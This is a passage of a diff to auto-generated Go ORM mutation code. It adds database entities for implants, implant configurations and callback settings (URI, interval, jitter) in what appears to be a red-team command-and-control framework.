"github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" "github.com/kcarretto/realm/ent/predicate" "github.com/kcarretto/realm/ent/target" @@ -26,9 +30,13 @@ const ( OpUpdateOne = ent.OpUpdateOne // Node types. - TypeCredential = "Credential" - TypeFile = "File" - TypeTarget = "Target" + TypeCredential = "Credential" + TypeFile = "File" + TypeImplant = "Implant" + TypeImplantCallbackConfig = "ImplantCallbackConfig" + TypeImplantConfig = "ImplantConfig" + TypeImplantServiceConfig = "ImplantServiceConfig" + TypeTarget = "Target" ) // CredentialMutation represents an operation that mutates the Credential nodes in the graph. @@ -1136,6 +1144,2412 @@ func (m *FileMutation) ResetEdge(name string) error { return fmt.Errorf("unknown File edge %s", name) } +// ImplantMutation represents an operation that mutates the Implant nodes in the graph. +type ImplantMutation struct { + config + op Op + typ string + id *int + sessionID *string + processName *string + clearedFields map[string]struct{} + target *int + clearedtarget bool + _config *int + cleared_config bool + done bool + oldValue func(context.Context) (*Implant, error) + predicates []predicate.Implant +} + +var _ ent.Mutation = (*ImplantMutation)(nil) + +// implantOption allows management of the mutation configuration using functional options. +type implantOption func(*ImplantMutation) + +// newImplantMutation creates new mutation for the Implant entity. +func newImplantMutation(c config, op Op, opts ...implantOption) *ImplantMutation { + m := &ImplantMutation{ + config: c, + op: op, + typ: TypeImplant, + clearedFields: make(map[string]struct{}), + } + for _, opt := range opts { + opt(m) + } + return m +} + +// withImplantID sets the ID field of the mutation. +func withImplantID(id int) implantOption { + return func(m *ImplantMutation) { + var ( + err error + once sync.Once + value *Implant + ) + m.oldValue = func(ctx context.Context) (*Implant, error) { + once.Do(func() { + if m.done { + err = errors.New("querying old values post mutation is not allowed") + } else { + value, err = m.Client().Implant.Get(ctx, id) + } + }) + return value, err + } + m.id = &id + } +} + +// withImplant sets the old Implant of the mutation. +func withImplant(node *Implant) implantOption { + return func(m *ImplantMutation) { + m.oldValue = func(context.Context) (*Implant, error) { + return node, nil + } + m.id = &node.ID + } +} + +// Client returns a new `ent.Client` from the mutation. If the mutation was +// executed in a transaction (ent.Tx), a transactional client is returned. +func (m ImplantMutation) Client() *Client { + client := &Client{config: m.config} + client.init() + return client +} + +// Tx returns an `ent.Tx` for mutations that were executed in transactions; +// it returns an error otherwise. +func (m ImplantMutation) Tx() (*Tx, error) { + if _, ok := m.driver.(*txDriver); !ok { + return nil, errors.New("ent: mutation is not running in a transaction") + } + tx := &Tx{config: m.config} + tx.init() + return tx, nil +} + +// ID returns the ID value in the mutation. Note that the ID is only available +// if it was provided to the builder or after it was returned from the database. +func (m *ImplantMutation) ID() (id int, exists bool) { + if m.id == nil { + return + } + return *m.id, true +} + +// IDs queries the database and returns the entity ids that match the mutation's predicate. +// That means, if the mutation is applied within a transaction with an isolation level such +// as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated +// or updated by the mutation. +func (m *ImplantMutation) IDs(ctx context.Context) ([]int, error) { + switch { + case m.op.Is(OpUpdateOne | OpDeleteOne): + id, exists := m.ID() + if exists { + return []int{id}, nil + } + fallthrough + case m.op.Is(OpUpdate | OpDelete): + return m.Client().Implant.Query().Where(m.predicates...).IDs(ctx) + default: + return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op) + } +} + +// SetSessionID sets the "sessionID" field. +func (m *ImplantMutation) SetSessionID(s string) { + m.sessionID = &s +} + +// SessionID returns the value of the "sessionID" field in the mutation. +func (m *ImplantMutation) SessionID() (r string, exists bool) { + v := m.sessionID + if v == nil { + return + } + return *v, true +} + +// OldSessionID returns the old "sessionID" field's value of the Implant entity. +// If the Implant object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantMutation) OldSessionID(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldSessionID is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldSessionID requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldSessionID: %w", err) + } + return oldValue.SessionID, nil +} + +// ResetSessionID resets all changes to the "sessionID" field. +func (m *ImplantMutation) ResetSessionID() { + m.sessionID = nil +} + +// SetProcessName sets the "processName" field. +func (m *ImplantMutation) SetProcessName(s string) { + m.processName = &s +} + +// ProcessName returns the value of the "processName" field in the mutation. +func (m *ImplantMutation) ProcessName() (r string, exists bool) { + v := m.processName + if v == nil { + return + } + return *v, true +} + +// OldProcessName returns the old "processName" field's value of the Implant entity. +// If the Implant object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantMutation) OldProcessName(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldProcessName is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldProcessName requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldProcessName: %w", err) + } + return oldValue.ProcessName, nil +} + +// ClearProcessName clears the value of the "processName" field. +func (m *ImplantMutation) ClearProcessName() { + m.processName = nil + m.clearedFields[implant.FieldProcessName] = struct{}{} +} + +// ProcessNameCleared returns if the "processName" field was cleared in this mutation. +func (m *ImplantMutation) ProcessNameCleared() bool { + _, ok := m.clearedFields[implant.FieldProcessName] + return ok +} + +// ResetProcessName resets all changes to the "processName" field. +func (m *ImplantMutation) ResetProcessName() { + m.processName = nil + delete(m.clearedFields, implant.FieldProcessName) +} + +// SetTargetID sets the "target" edge to the Target entity by id. +func (m *ImplantMutation) SetTargetID(id int) { + m.target = &id +} + +// ClearTarget clears the "target" edge to the Target entity. +func (m *ImplantMutation) ClearTarget() { + m.clearedtarget = true +} + +// TargetCleared reports if the "target" edge to the Target entity was cleared. +func (m *ImplantMutation) TargetCleared() bool { + return m.clearedtarget +} + +// TargetID returns the "target" edge ID in the mutation. +func (m *ImplantMutation) TargetID() (id int, exists bool) { + if m.target != nil { + return *m.target, true + } + return +} + +// TargetIDs returns the "target" edge IDs in the mutation. +// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use +// TargetID instead. It exists only for internal usage by the builders. +func (m *ImplantMutation) TargetIDs() (ids []int) { + if id := m.target; id != nil { + ids = append(ids, *id) + } + return +} + +// ResetTarget resets all changes to the "target" edge. +func (m *ImplantMutation) ResetTarget() { + m.target = nil + m.clearedtarget = false +} + +// SetConfigID sets the "config" edge to the ImplantConfig entity by id. +func (m *ImplantMutation) SetConfigID(id int) { + m._config = &id +} + +// ClearConfig clears the "config" edge to the ImplantConfig entity. +func (m *ImplantMutation) ClearConfig() { + m.cleared_config = true +} + +// ConfigCleared reports if the "config" edge to the ImplantConfig entity was cleared. +func (m *ImplantMutation) ConfigCleared() bool { + return m.cleared_config +} + +// ConfigID returns the "config" edge ID in the mutation. +func (m *ImplantMutation) ConfigID() (id int, exists bool) { + if m._config != nil { + return *m._config, true + } + return +} + +// ConfigIDs returns the "config" edge IDs in the mutation. +// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use +// ConfigID instead. It exists only for internal usage by the builders. +func (m *ImplantMutation) ConfigIDs() (ids []int) { + if id := m._config; id != nil { + ids = append(ids, *id) + } + return +} + +// ResetConfig resets all changes to the "config" edge. +func (m *ImplantMutation) ResetConfig() { + m._config = nil + m.cleared_config = false +} + +// Where appends a list predicates to the ImplantMutation builder. +func (m *ImplantMutation) Where(ps ...predicate.Implant) { + m.predicates = append(m.predicates, ps...) +} + +// Op returns the operation name. +func (m *ImplantMutation) Op() Op { + return m.op +} + +// Type returns the node type of this mutation (Implant). +func (m *ImplantMutation) Type() string { + return m.typ +} + +// Fields returns all fields that were changed during this mutation. Note that in +// order to get all numeric fields that were incremented/decremented, call +// AddedFields(). +func (m *ImplantMutation) Fields() []string { + fields := make([]string, 0, 2) + if m.sessionID != nil { + fields = append(fields, implant.FieldSessionID) + } + if m.processName != nil { + fields = append(fields, implant.FieldProcessName) + } + return fields +} + +// Field returns the value of a field with the given name. The second boolean +// return value indicates that this field was not set, or was not defined in the +// schema. +func (m *ImplantMutation) Field(name string) (ent.Value, bool) { + switch name { + case implant.FieldSessionID: + return m.SessionID() + case implant.FieldProcessName: + return m.ProcessName() + } + return nil, false +} + +// OldField returns the old value of the field from the database. An error is +// returned if the mutation operation is not UpdateOne, or the query to the +// database failed. +func (m *ImplantMutation) OldField(ctx context.Context, name string) (ent.Value, error) { + switch name { + case implant.FieldSessionID: + return m.OldSessionID(ctx) + case implant.FieldProcessName: + return m.OldProcessName(ctx) + } + return nil, fmt.Errorf("unknown Implant field %s", name) +} + +// SetField sets the value of a field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantMutation) SetField(name string, value ent.Value) error { + switch name { + case implant.FieldSessionID: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetSessionID(v) + return nil + case implant.FieldProcessName: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetProcessName(v) + return nil + } + return fmt.Errorf("unknown Implant field %s", name) +} + +// AddedFields returns all numeric fields that were incremented/decremented during +// this mutation. +func (m *ImplantMutation) AddedFields() []string { + return nil +} + +// AddedField returns the numeric value that was incremented/decremented on a field +// with the given name. The second boolean return value indicates that this field +// was not set, or was not defined in the schema. +func (m *ImplantMutation) AddedField(name string) (ent.Value, bool) { + return nil, false +} + +// AddField adds the value to the field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantMutation) AddField(name string, value ent.Value) error { + switch name { + } + return fmt.Errorf("unknown Implant numeric field %s", name) +} + +// ClearedFields returns all nullable fields that were cleared during this +// mutation. +func (m *ImplantMutation) ClearedFields() []string { + var fields []string + if m.FieldCleared(implant.FieldProcessName) { + fields = append(fields, implant.FieldProcessName) + } + return fields +} + +// FieldCleared returns a boolean indicating if a field with the given name was +// cleared in this mutation. +func (m *ImplantMutation) FieldCleared(name string) bool { + _, ok := m.clearedFields[name] + return ok +} + +// ClearField clears the value of the field with the given name. It returns an +// error if the field is not defined in the schema. +func (m *ImplantMutation) ClearField(name string) error { + switch name { + case implant.FieldProcessName: + m.ClearProcessName() + return nil + } + return fmt.Errorf("unknown Implant nullable field %s", name) +} + +// ResetField resets all changes in the mutation for the field with the given name. +// It returns an error if the field is not defined in the schema. +func (m *ImplantMutation) ResetField(name string) error { + switch name { + case implant.FieldSessionID: + m.ResetSessionID() + return nil + case implant.FieldProcessName: + m.ResetProcessName() + return nil + } + return fmt.Errorf("unknown Implant field %s", name) +} + +// AddedEdges returns all edge names that were set/added in this mutation. +func (m *ImplantMutation) AddedEdges() []string { + edges := make([]string, 0, 2) + if m.target != nil { + edges = append(edges, implant.EdgeTarget) + } + if m._config != nil { + edges = append(edges, implant.EdgeConfig) + } + return edges +} + +// AddedIDs returns all IDs (to other nodes) that were added for the given edge +// name in this mutation. +func (m *ImplantMutation) AddedIDs(name string) []ent.Value { + switch name { + case implant.EdgeTarget: + if id := m.target; id != nil { + return []ent.Value{*id} + } + case implant.EdgeConfig: + if id := m._config; id != nil { + return []ent.Value{*id} + } + } + return nil +} + +// RemovedEdges returns all edge names that were removed in this mutation. +func (m *ImplantMutation) RemovedEdges() []string { + edges := make([]string, 0, 2) + return edges +} + +// RemovedIDs returns all IDs (to other nodes) that were removed for the edge with +// the given name in this mutation. +func (m *ImplantMutation) RemovedIDs(name string) []ent.Value { + switch name { + } + return nil +} + +// ClearedEdges returns all edge names that were cleared in this mutation. +func (m *ImplantMutation) ClearedEdges() []string { + edges := make([]string, 0, 2) + if m.clearedtarget { + edges = append(edges, implant.EdgeTarget) + } + if m.cleared_config { + edges = append(edges, implant.EdgeConfig) + } + return edges +} + +// EdgeCleared returns a boolean which indicates if the edge with the given name +// was cleared in this mutation. +func (m *ImplantMutation) EdgeCleared(name string) bool { + switch name { + case implant.EdgeTarget: + return m.clearedtarget + case implant.EdgeConfig: + return m.cleared_config + } + return false +} + +// ClearEdge clears the value of the edge with the given name. It returns an error +// if that edge is not defined in the schema. +func (m *ImplantMutation) ClearEdge(name string) error { + switch name { + case implant.EdgeTarget: + m.ClearTarget() + return nil + case implant.EdgeConfig: + m.ClearConfig() + return nil + } + return fmt.Errorf("unknown Implant unique edge %s", name) +} + +// ResetEdge resets all changes to the edge with the given name in this mutation. +// It returns an error if the edge is not defined in the schema. +func (m *ImplantMutation) ResetEdge(name string) error { + switch name { + case implant.EdgeTarget: + m.ResetTarget() + return nil + case implant.EdgeConfig: + m.ResetConfig() + return nil + } + return fmt.Errorf("unknown Implant edge %s", name) +} + +// ImplantCallbackConfigMutation represents an operation that mutates the ImplantCallbackConfig nodes in the graph. +type ImplantCallbackConfigMutation struct { + config + op Op + typ string + id *int + uri *string + priority *int + addpriority *int + timeout *int + addtimeout *int + interval *int + addinterval *int + jitter *int + addjitter *int + clearedFields map[string]struct{} + implantConfigs map[int]struct{} + removedimplantConfigs map[int]struct{} + clearedimplantConfigs bool + done bool + oldValue func(context.Context) (*ImplantCallbackConfig, error) + predicates []predicate.ImplantCallbackConfig +} + +var _ ent.Mutation = (*ImplantCallbackConfigMutation)(nil) + +// implantcallbackconfigOption allows management of the mutation configuration using functional options. +type implantcallbackconfigOption func(*ImplantCallbackConfigMutation) + +// newImplantCallbackConfigMutation creates new mutation for the ImplantCallbackConfig entity. +func newImplantCallbackConfigMutation(c config, op Op, opts ...implantcallbackconfigOption) *ImplantCallbackConfigMutation { + m := &ImplantCallbackConfigMutation{ + config: c, + op: op, + typ: TypeImplantCallbackConfig, + clearedFields: make(map[string]struct{}), + } + for _, opt := range opts { + opt(m) + } + return m +} + +// withImplantCallbackConfigID sets the ID field of the mutation. +func withImplantCallbackConfigID(id int) implantcallbackconfigOption { + return func(m *ImplantCallbackConfigMutation) { + var ( + err error + once sync.Once + value *ImplantCallbackConfig + ) + m.oldValue = func(ctx context.Context) (*ImplantCallbackConfig, error) { + once.Do(func() { + if m.done { + err = errors.New("querying old values post mutation is not allowed") + } else { + value, err = m.Client().ImplantCallbackConfig.Get(ctx, id) + } + }) + return value, err + } + m.id = &id + } +} + +// withImplantCallbackConfig sets the old ImplantCallbackConfig of the mutation. +func withImplantCallbackConfig(node *ImplantCallbackConfig) implantcallbackconfigOption { + return func(m *ImplantCallbackConfigMutation) { + m.oldValue = func(context.Context) (*ImplantCallbackConfig, error) { + return node, nil + } + m.id = &node.ID + } +} + +// Client returns a new `ent.Client` from the mutation. If the mutation was +// executed in a transaction (ent.Tx), a transactional client is returned. +func (m ImplantCallbackConfigMutation) Client() *Client { + client := &Client{config: m.config} + client.init() + return client +} + +// Tx returns an `ent.Tx` for mutations that were executed in transactions; +// it returns an error otherwise. +func (m ImplantCallbackConfigMutation) Tx() (*Tx, error) { + if _, ok := m.driver.(*txDriver); !ok { + return nil, errors.New("ent: mutation is not running in a transaction") + } + tx := &Tx{config: m.config} + tx.init() + return tx, nil +} + +// ID returns the ID value in the mutation. Note that the ID is only available +// if it was provided to the builder or after it was returned from the database. +func (m *ImplantCallbackConfigMutation) ID() (id int, exists bool) { + if m.id == nil { + return + } + return *m.id, true +} + +// IDs queries the database and returns the entity ids that match the mutation's predicate. +// That means, if the mutation is applied within a transaction with an isolation level such +// as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated +// or updated by the mutation. +func (m *ImplantCallbackConfigMutation) IDs(ctx context.Context) ([]int, error) { + switch { + case m.op.Is(OpUpdateOne | OpDeleteOne): + id, exists := m.ID() + if exists { + return []int{id}, nil + } + fallthrough + case m.op.Is(OpUpdate | OpDelete): + return m.Client().ImplantCallbackConfig.Query().Where(m.predicates...).IDs(ctx) + default: + return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op) + } +} + +// SetURI sets the "uri" field. +func (m *ImplantCallbackConfigMutation) SetURI(s string) { + m.uri = &s +} + +// URI returns the value of the "uri" field in the mutation. +func (m *ImplantCallbackConfigMutation) URI() (r string, exists bool) { + v := m.uri + if v == nil { + return + } + return *v, true +} + +// OldURI returns the old "uri" field's value of the ImplantCallbackConfig entity. +// If the ImplantCallbackConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantCallbackConfigMutation) OldURI(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldURI is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldURI requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldURI: %w", err) + } + return oldValue.URI, nil +} + +// ResetURI resets all changes to the "uri" field. +func (m *ImplantCallbackConfigMutation) ResetURI() { + m.uri = nil +} + +// SetPriority sets the "priority" field. +func (m *ImplantCallbackConfigMutation) SetPriority(i int) { + m.priority = &i + m.addpriority = nil +} + +// Priority returns the value of the "priority" field in the mutation. +func (m *ImplantCallbackConfigMutation) Priority() (r int, exists bool) { + v := m.priority + if v == nil { + return + } + return *v, true +} + +// OldPriority returns the old "priority" field's value of the ImplantCallbackConfig entity. +// If the ImplantCallbackConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantCallbackConfigMutation) OldPriority(ctx context.Context) (v int, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldPriority is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldPriority requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldPriority: %w", err) + } + return oldValue.Priority, nil +} + +// AddPriority adds i to the "priority" field. +func (m *ImplantCallbackConfigMutation) AddPriority(i int) { + if m.addpriority != nil { + *m.addpriority += i + } else { + m.addpriority = &i + } +} + +// AddedPriority returns the value that was added to the "priority" field in this mutation. +func (m *ImplantCallbackConfigMutation) AddedPriority() (r int, exists bool) { + v := m.addpriority + if v == nil { + return + } + return *v, true +} + +// ResetPriority resets all changes to the "priority" field. +func (m *ImplantCallbackConfigMutation) ResetPriority() { + m.priority = nil + m.addpriority = nil +} + +// SetTimeout sets the "timeout" field. +func (m *ImplantCallbackConfigMutation) SetTimeout(i int) { + m.timeout = &i + m.addtimeout = nil +} + +// Timeout returns the value of the "timeout" field in the mutation. +func (m *ImplantCallbackConfigMutation) Timeout() (r int, exists bool) { + v := m.timeout + if v == nil { + return + } + return *v, true +} + +// OldTimeout returns the old "timeout" field's value of the ImplantCallbackConfig entity. +// If the ImplantCallbackConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantCallbackConfigMutation) OldTimeout(ctx context.Context) (v int, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldTimeout is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldTimeout requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldTimeout: %w", err) + } + return oldValue.Timeout, nil +} + +// AddTimeout adds i to the "timeout" field. +func (m *ImplantCallbackConfigMutation) AddTimeout(i int) { + if m.addtimeout != nil { + *m.addtimeout += i + } else { + m.addtimeout = &i + } +} + +// AddedTimeout returns the value that was added to the "timeout" field in this mutation. +func (m *ImplantCallbackConfigMutation) AddedTimeout() (r int, exists bool) { + v := m.addtimeout + if v == nil { + return + } + return *v, true +} + +// ResetTimeout resets all changes to the "timeout" field. +func (m *ImplantCallbackConfigMutation) ResetTimeout() { + m.timeout = nil + m.addtimeout = nil +} + +// SetInterval sets the "interval" field. +func (m *ImplantCallbackConfigMutation) SetInterval(i int) { + m.interval = &i + m.addinterval = nil +} + +// Interval returns the value of the "interval" field in the mutation. +func (m *ImplantCallbackConfigMutation) Interval() (r int, exists bool) { + v := m.interval + if v == nil { + return + } + return *v, true +} + +// OldInterval returns the old "interval" field's value of the ImplantCallbackConfig entity. +// If the ImplantCallbackConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantCallbackConfigMutation) OldInterval(ctx context.Context) (v int, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldInterval is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldInterval requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldInterval: %w", err) + } + return oldValue.Interval, nil +} + +// AddInterval adds i to the "interval" field. +func (m *ImplantCallbackConfigMutation) AddInterval(i int) { + if m.addinterval != nil { + *m.addinterval += i + } else { + m.addinterval = &i + } +} + +// AddedInterval returns the value that was added to the "interval" field in this mutation. +func (m *ImplantCallbackConfigMutation) AddedInterval() (r int, exists bool) { + v := m.addinterval + if v == nil { + return + } + return *v, true +} + +// ResetInterval resets all changes to the "interval" field. +func (m *ImplantCallbackConfigMutation) ResetInterval() { + m.interval = nil + m.addinterval = nil +} + +// SetJitter sets the "jitter" field. +func (m *ImplantCallbackConfigMutation) SetJitter(i int) { + m.jitter = &i + m.addjitter = nil +} + +// Jitter returns the value of the "jitter" field in the mutation. +func (m *ImplantCallbackConfigMutation) Jitter() (r int, exists bool) { + v := m.jitter + if v == nil { + return + } + return *v, true +} + +// OldJitter returns the old "jitter" field's value of the ImplantCallbackConfig entity. +// If the ImplantCallbackConfig object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ImplantCallbackConfigMutation) OldJitter(ctx context.Context) (v int, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldJitter is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldJitter requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldJitter: %w", err) + } + return oldValue.Jitter, nil +} + +// AddJitter adds i to the "jitter" field. +func (m *ImplantCallbackConfigMutation) AddJitter(i int) { + if m.addjitter != nil { + *m.addjitter += i + } else { + m.addjitter = &i + } +} + +// AddedJitter returns the value that was added to the "jitter" field in this mutation. +func (m *ImplantCallbackConfigMutation) AddedJitter() (r int, exists bool) { + v := m.addjitter + if v == nil { + return + } + return *v, true +} + +// ResetJitter resets all changes to the "jitter" field. +func (m *ImplantCallbackConfigMutation) ResetJitter() { + m.jitter = nil + m.addjitter = nil +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by ids. +func (m *ImplantCallbackConfigMutation) AddImplantConfigIDs(ids ...int) { + if m.implantConfigs == nil { + m.implantConfigs = make(map[int]struct{}) + } + for i := range ids { + m.implantConfigs[ids[i]] = struct{}{} + } +} + +// ClearImplantConfigs clears the "implantConfigs" edge to the ImplantConfig entity. +func (m *ImplantCallbackConfigMutation) ClearImplantConfigs() { + m.clearedimplantConfigs = true +} + +// ImplantConfigsCleared reports if the "implantConfigs" edge to the ImplantConfig entity was cleared. +func (m *ImplantCallbackConfigMutation) ImplantConfigsCleared() bool { + return m.clearedimplantConfigs +} + +// RemoveImplantConfigIDs removes the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (m *ImplantCallbackConfigMutation) RemoveImplantConfigIDs(ids ...int) { + if m.removedimplantConfigs == nil { + m.removedimplantConfigs = make(map[int]struct{}) + } + for i := range ids { + delete(m.implantConfigs, ids[i]) + m.removedimplantConfigs[ids[i]] = struct{}{} + } +} + +// RemovedImplantConfigs returns the removed IDs of the "implantConfigs" edge to the ImplantConfig entity. +func (m *ImplantCallbackConfigMutation) RemovedImplantConfigsIDs() (ids []int) { + for id := range m.removedimplantConfigs { + ids = append(ids, id) + } + return +} + +// ImplantConfigsIDs returns the "implantConfigs" edge IDs in the mutation. +func (m *ImplantCallbackConfigMutation) ImplantConfigsIDs() (ids []int) { + for id := range m.implantConfigs { + ids = append(ids, id) + } + return +} + +// ResetImplantConfigs resets all changes to the "implantConfigs" edge. +func (m *ImplantCallbackConfigMutation) ResetImplantConfigs() { + m.implantConfigs = nil + m.clearedimplantConfigs = false + m.removedimplantConfigs = nil +} + +// Where appends a list predicates to the ImplantCallbackConfigMutation builder. +func (m *ImplantCallbackConfigMutation) Where(ps ...predicate.ImplantCallbackConfig) { + m.predicates = append(m.predicates, ps...) +} + +// Op returns the operation name. +func (m *ImplantCallbackConfigMutation) Op() Op { + return m.op +} + +// Type returns the node type of this mutation (ImplantCallbackConfig). +func (m *ImplantCallbackConfigMutation) Type() string { + return m.typ +} + +// Fields returns all fields that were changed during this mutation. Note that in +// order to get all numeric fields that were incremented/decremented, call +// AddedFields(). +func (m *ImplantCallbackConfigMutation) Fields() []string { + fields := make([]string, 0, 5) + if m.uri != nil { + fields = append(fields, implantcallbackconfig.FieldURI) + } + if m.priority != nil { + fields = append(fields, implantcallbackconfig.FieldPriority) + } + if m.timeout != nil { + fields = append(fields, implantcallbackconfig.FieldTimeout) + } + if m.interval != nil { + fields = append(fields, implantcallbackconfig.FieldInterval) + } + if m.jitter != nil { + fields = append(fields, implantcallbackconfig.FieldJitter) + } + return fields +} + +// Field returns the value of a field with the given name. The second boolean +// return value indicates that this field was not set, or was not defined in the +// schema. +func (m *ImplantCallbackConfigMutation) Field(name string) (ent.Value, bool) { + switch name { + case implantcallbackconfig.FieldURI: + return m.URI() + case implantcallbackconfig.FieldPriority: + return m.Priority() + case implantcallbackconfig.FieldTimeout: + return m.Timeout() + case implantcallbackconfig.FieldInterval: + return m.Interval() + case implantcallbackconfig.FieldJitter: + return m.Jitter() + } + return nil, false +} + +// OldField returns the old value of the field from the database. An error is +// returned if the mutation operation is not UpdateOne, or the query to the +// database failed. +func (m *ImplantCallbackConfigMutation) OldField(ctx context.Context, name string) (ent.Value, error) { + switch name { + case implantcallbackconfig.FieldURI: + return m.OldURI(ctx) + case implantcallbackconfig.FieldPriority: + return m.OldPriority(ctx) + case implantcallbackconfig.FieldTimeout: + return m.OldTimeout(ctx) + case implantcallbackconfig.FieldInterval: + return m.OldInterval(ctx) + case implantcallbackconfig.FieldJitter: + return m.OldJitter(ctx) + } + return nil, fmt.Errorf("unknown ImplantCallbackConfig field %s", name) +} + +// SetField sets the value of a field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantCallbackConfigMutation) SetField(name string, value ent.Value) error { + switch name { + case implantcallbackconfig.FieldURI: + v, ok := value.(string) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetURI(v) + return nil + case implantcallbackconfig.FieldPriority: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetPriority(v) + return nil + case implantcallbackconfig.FieldTimeout: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetTimeout(v) + return nil + case implantcallbackconfig.FieldInterval: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetInterval(v) + return nil + case implantcallbackconfig.FieldJitter: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.SetJitter(v) + return nil + } + return fmt.Errorf("unknown ImplantCallbackConfig field %s", name) +} + +// AddedFields returns all numeric fields that were incremented/decremented during +// this mutation. +func (m *ImplantCallbackConfigMutation) AddedFields() []string { + var fields []string + if m.addpriority != nil { + fields = append(fields, implantcallbackconfig.FieldPriority) + } + if m.addtimeout != nil { + fields = append(fields, implantcallbackconfig.FieldTimeout) + } + if m.addinterval != nil { + fields = append(fields, implantcallbackconfig.FieldInterval) + } + if m.addjitter != nil { + fields = append(fields, implantcallbackconfig.FieldJitter) + } + return fields +} + +// AddedField returns the numeric value that was incremented/decremented on a field +// with the given name. The second boolean return value indicates that this field +// was not set, or was not defined in the schema. +func (m *ImplantCallbackConfigMutation) AddedField(name string) (ent.Value, bool) { + switch name { + case implantcallbackconfig.FieldPriority: + return m.AddedPriority() + case implantcallbackconfig.FieldTimeout: + return m.AddedTimeout() + case implantcallbackconfig.FieldInterval: + return m.AddedInterval() + case implantcallbackconfig.FieldJitter: + return m.AddedJitter() + } + return nil, false +} + +// AddField adds the value to the field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantCallbackConfigMutation) AddField(name string, value ent.Value) error { + switch name { + case implantcallbackconfig.FieldPriority: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.AddPriority(v) + return nil + case implantcallbackconfig.FieldTimeout: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.AddTimeout(v) + return nil + case implantcallbackconfig.FieldInterval: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.AddInterval(v) + return nil + case implantcallbackconfig.FieldJitter: + v, ok := value.(int) + if !ok { + return fmt.Errorf("unexpected type %T for field %s", value, name) + } + m.AddJitter(v) + return nil + } + return fmt.Errorf("unknown ImplantCallbackConfig numeric field %s", name) +} + +// ClearedFields returns all nullable fields that were cleared during this +// mutation. +func (m *ImplantCallbackConfigMutation) ClearedFields() []string { + return nil +} + +// FieldCleared returns a boolean indicating if a field with the given name was +// cleared in this mutation. +func (m *ImplantCallbackConfigMutation) FieldCleared(name string) bool { + _, ok := m.clearedFields[name] + return ok +} + +// ClearField clears the value of the field with the given name. It returns an +// error if the field is not defined in the schema. +func (m 